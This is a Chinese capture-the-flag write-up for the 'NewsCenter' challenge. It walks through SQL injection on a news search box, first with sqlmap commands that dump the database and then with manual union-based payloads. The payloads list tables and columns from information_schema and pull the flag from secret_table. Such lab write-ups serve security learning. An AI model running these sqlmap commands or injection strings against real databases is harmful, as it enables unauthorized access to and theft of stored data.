2025.1.16——一、NewsCenter

题目来源:攻防世界 NewsCenter

目录

一、题目

二、sqlmap解题------bp抓包存为txt文件进行爆破

[step 1:search框内随便输入,进行抓包](#step 1:search框内随便输入,进行抓包)

[step 2:抓包后,存到txt文件,进行sqlmap](#step 2:抓包后,存到txt文件,进行sqlmap)

[step 3:-r获取文件,--dump获取flag](#step 3:-r获取文件,--dump获取flag)

三、手工注入解题

[step 1:判断 GET 还是 POST 传参](#step 1:判断 GET 还是 POST 传参)

[step 2:判断注入点类型](#step 2:判断注入点类型)

[step 3:判断字段数 ' 和 # 不可缺少](# 不可缺少)

[step 4:爆表名](#step 4:爆表名)

[step 5:爆列名](#step 5:爆列名)

[step 6:爆具体数据](#step 6:爆具体数据)


本题由于靶机出问题,所以看了很多博主的wp

一、题目

可以看到有注入点,首选sqlmap,其次为手工注入

二、sqlmap解题------bp抓包存为txt文件进行爆破

step 1:search框内随便输入,进行抓包

step 2:抓包后,存到txt文件,进行sqlmap

step 3:-r获取文件,--dump获取flag

方法一:

连接口令:python sqlmap.py -r 文件路径

爆破口令:python sqlmap.py -r 文件路径 --dump

方法二:

①python sqlmap.py -r 文件名 -dbs

②python sqlmap.py -r 文件名 -D 数据库名 --tables

③python sqlmap.py -r 文件名 -D 数据库名 -T 表名 --columns

④python sqlmap.py -r 文件名 -D 数据库名 -T 表名 -C 列名 --dump

可得到flag信息

三、手工注入解题

重点:①需要判断 GET 还是 POST 传参;②判断注入点类型;③尝试万能密码;④尝试联合注入

step 1:判断 GET 还是 POST 传参

搜索新闻初步判定为POST请求,可考虑xss或sql注入

尝试xss注入,而页面没有返回值,且根据源码得js代码没有被过滤,所以无xss漏洞。所以此处为sql注入

step 2:判断注入点类型

键入:1、1''、1' and '1'=1'

均回显正常

键入:1'

出现错误

所以这里是字符注入

step 3:判断字段数 ' 和 # 不可缺少

键入:1' order by 3 #

回显正常

键入:1' order by 4 #

回显错误

故字段数为3

step 4:爆表名

sql 复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

发现有两张表:news、secret_table

step 5:爆列名

第一张表:

sql 复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

有两列:id、fl4g

第二张表:

sql 复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='news'#

有三列:id、title、content

step 6:爆具体数据

flag应该在secret_table表的fl4g列中

sql 复制代码
1' union select 1,2,fl4g from secret_table #

可得到flag信息

相关推荐
Larry_Yanan3 分钟前
QML学习笔记(四十一)QML的ColorDialog和FontDialog
笔记·学习
【非典型Coder】11 分钟前
Statement和PreparedStatement区别
数据库
m0_6786933324 分钟前
深度学习笔记39-CGAN|生成手势图像 | 可控制生成(Pytorch)
深度学习·学习·生成对抗网络
小年糕是糕手38 分钟前
【数据结构】双向链表“0”基础知识讲解 + 实战演练
c语言·开发语言·数据结构·c++·学习·算法·链表
将车24443 分钟前
C++实现二叉树搜索树
开发语言·数据结构·c++·笔记·学习
Larry_Yanan1 小时前
QML学习笔记(四十)QML的FileDialog和FolderDialog
笔记·qt·学习
m0_736927041 小时前
想抓PostgreSQL里的慢SQL?pg_stat_statements基础黑匣子和pg_stat_monitor时间窗,谁能帮你更准揪出性能小偷?
java·数据库·sql·postgresql
lang201509281 小时前
MySQL 8.0.29 及以上版本中 SSL/TLS 会话复用(Session Reuse)
数据库·mysql
hbqjzx1 小时前
记录一个自动学习的脚本开发过程
开发语言·javascript·学习
Whoami!1 小时前
5-4〔OSCP ◈ 研记〕❘ SQL注入攻击▸基于 UNION 的SQLi
网络安全·信息安全·sql注入·oscp